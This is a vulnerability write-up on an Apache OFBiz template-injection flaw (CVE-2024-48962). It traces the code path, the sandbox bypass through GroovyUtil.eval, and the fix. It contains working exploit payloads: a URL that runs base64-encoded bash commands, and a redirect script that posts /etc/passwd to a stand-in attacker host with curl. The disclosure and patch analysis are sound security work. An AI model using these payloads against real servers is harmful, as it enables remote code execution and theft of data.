CVE-2024-48962: From Simple Redirection to RCE via Server-Side Template Injection in Apache OFBiz
CVE Score: 8.9 - CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/AU:N/R:U/V:C/RE:H/U:Amber
Research by @sebsrt and @marimoo
TL;DR
We discovered a critical Server-Side Template Injection (SSTI) vulnerability in Apache OFBiz that enables unauthenticated attackers to achieve Remote Code Execution (RCE) by convincing authenticated users to click a malicious link. The vulnerability affects all versions prior to 18.17 and can be exploited through a simple URL parameter injection.
Proof of Concept:
https://target.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash\'.execute()",null)}
Introduction
Apache OFBiz is an open-source CRM & ERP system built in Java.
This vulnerability (CVE-2024-48962) begins as a simple parameter injection escalates to full RCE through FreeMarker template injection combined with a sandbox bypass leveraging OFBiz's own utility classes.
Technical Deep Dive
Overview
The vulnerability lies within the /partymgr/control/viewprofile
endpoint, where the partyId
query parameter undergoes processing without adequate sanitization before being passed to FreeMarker template rendering. This allows attackers to inject malicious template syntax that executes server-side.
Tracing the Vulnerable Code Path
Let's trace the execution flow from the initial HTTP request to the vulnerable code execution:
1: Request Routing
When an HTTP request targets /partymgr/control/viewprofile
, OFBiz routes it through its controller configuration system:
File: applications/party/webapp/partymgr/WEB-INF/controller.xml
<request-map uri="viewprofile"> <security https="true" auth="true"/> <response name="success" type="view" value="viewprofile"/> </request-map> <view-map name="viewprofile" type="screen" page="component://party/widget/partymgr/PartyScreens.xml#viewprofile"/>
2: Screen Definition Processing
The request maps to a screen definition that extracts and processes the partyId
parameter:
File: applications/party/widget/partymgr/PartyScreens.xml
<screen name="viewprofile"> <section> <actions> <set field="partyId" from-field="parameters.partyId"/> <script location="component://party/groovyScripts/party/ViewProfile.groovy"/> </actions> <widgets> <decorator-screen name="CommonPartyDecorator" location="${parameters.mainDecoratorLocation}"> <!-- Content widgets --> </decorator-screen> </widgets> </section> </screen>
3: Parameter Processing
The ViewProfile.groovy
script extracts and processes the user-supplied partyId
value:
File: applications/party/groovyScripts/party/ViewProfile.groovy
partyId = parameters.partyId ?: parameters.party_id // ... additional processing logic ... context.partyId = partyId // User input flows directly into context
4: Menu Rendering
The CommonPartyDecorator
includes navigation menus that consume the partyId
parameter:
File: applications/party/widget/partymgr/CommonScreens.xml
<screen name="CommonPartyDecorator"> <section> <actions> <set field="partyId" from-field="parameters.partyId"/> </actions> <widgets> <include-menu name="ProfileTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/> <include-menu name="ProfileSubTabBar" location="component://party/widget/partymgr/PartyMenus.xml"/> </widgets> </section> </screen>
5: The Vulnerable Template Generation
Menu items incorporate the user-controlled partyId
as a parameter:
File: applications/party/widget/partymgr/PartyMenus.xml
<menu-item name="viewprofile" title="${uiLabelMap.PartyProfile}"> <link target="viewprofile"> <parameter param-name="partyId"/> <!-- User-controlled value --> </link> </menu-item>
When these menus render, the MacroMenuRenderer.executeMacro()
method constructs dynamic FreeMarker templates:
File: framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java
private void executeMacro(Appendable writer, String macroName, Map<String, Object> macroParameters) throws IOException, TemplateException { StringBuilder sb = new StringBuilder("<@"); sb.append(macroName); if (macroParameters != null) { for (Map.Entry<String, Object> parameter : macroParameters.entrySet()) { sb.append(' '); sb.append(parameter.getKey()); sb.append("="); Object value = parameter.getValue(); if (value instanceof String) { sb.append('"'); // Only escapes quotes, not FreeMarker syntax! sb.append(((String) value).replaceAll("\"", "\\\\\"")); sb.append('"'); } else { sb.append(value); } } } sb.append(" />"); // Executes the dynamically constructed template executeMacro(writer, sb.toString()); } private void executeMacro(Appendable writer, String macro) throws IOException, TemplateException { Reader templateReader = new StringReader(macro); Template template = new Template(templateName, templateReader, FreeMarkerWorker.getDefaultOfbizConfig()); environment.include(template); // ⚠️ Template injection occurs here }
Attack Flow Visualization:
When partyId=MALICIOUS_INPUT
contains FreeMarker syntax, it becomes embedded in a macro call:
<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=MALICIOUS_INPUT" />
For example, if MALICIOUS_INPUT
is ${7*7}
, the generated template becomes:
<@renderMenuItemBegin linkStr="/partymgr/control/viewprofile?partyId=${7*7}" />
When FreeMarker processes this template, it evaluates ${7*7}
as an expression, producing 49
in the output.
Exploitation: Bypassing FreeMarker Sandbox - From Template Injection to RCE
FreeMarker typically operates within a restricted environment, but OFBiz exposes utility classes accessible via the Static
hash.
grep -r "static.*eval" --include="*.java" . ./framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java: public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException {
This search revealed GroovyUtil.eval()
within the OFBiz framework:
File: framework/base/src/main/java/org/apache/ofbiz/base/util/GroovyUtil.java
public static Object eval(String expression, Map<String, Object> context) throws CompilationFailedException { // ... GroovyShell shell = new GroovyShell(getBinding(context, expression)); Object result = shell.evaluate(StringUtil.convertOperatorSubstitutions(expression)); // ... }
This method provides a direct pathway to execute arbitrary Groovy code, effectively circumventing FreeMarker's security sandbox.
Escalation to Remote Code Execution
Using the GroovyUtil.eval()
method, we can achieve various levels of system compromise:
${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("'bash -c {echo,BASE64_COMMAND}|{base64,-d}|bash'.execute()", null)}
Final exploit
An attacker can just craft a page that executes a redirect, and delivers it to an authenticated OFBiz user:
<script> location = 'https://target-ofbiz.com/partymgr/control/viewprofile?partyId=${Static["org.apache.ofbiz.base.util.GroovyUtil"].eval("\'curl -X POST -d @/etc/passwd http://attacker.com/exfil\'.execute()", null)}'; </script>
The Fix: Proper Input Sanitization
Apache OFBiz addressed this vulnerability in version 18.17 by implementing comprehensive parameter value encoding before template generation:
File: framework/widget/src/main/java/org/apache/ofbiz/widget/renderer/macro/MacroMenuRenderer.java
// Before: Direct parameter inclusion (vulnerable) sb.append(((String) value).replaceAll("\"", "\\\\\"")); // After: Proper encoding using SimpleEncoder (secure) UtilCodec.SimpleEncoder simpleEncoder = (UtilCodec.SimpleEncoder) context.get("simpleEncoder"); if (simpleEncoder != null) { targetParameters.append(simpleEncoder.encode(parameter.getValue())); } else { targetParameters.append(parameter.getValue()); }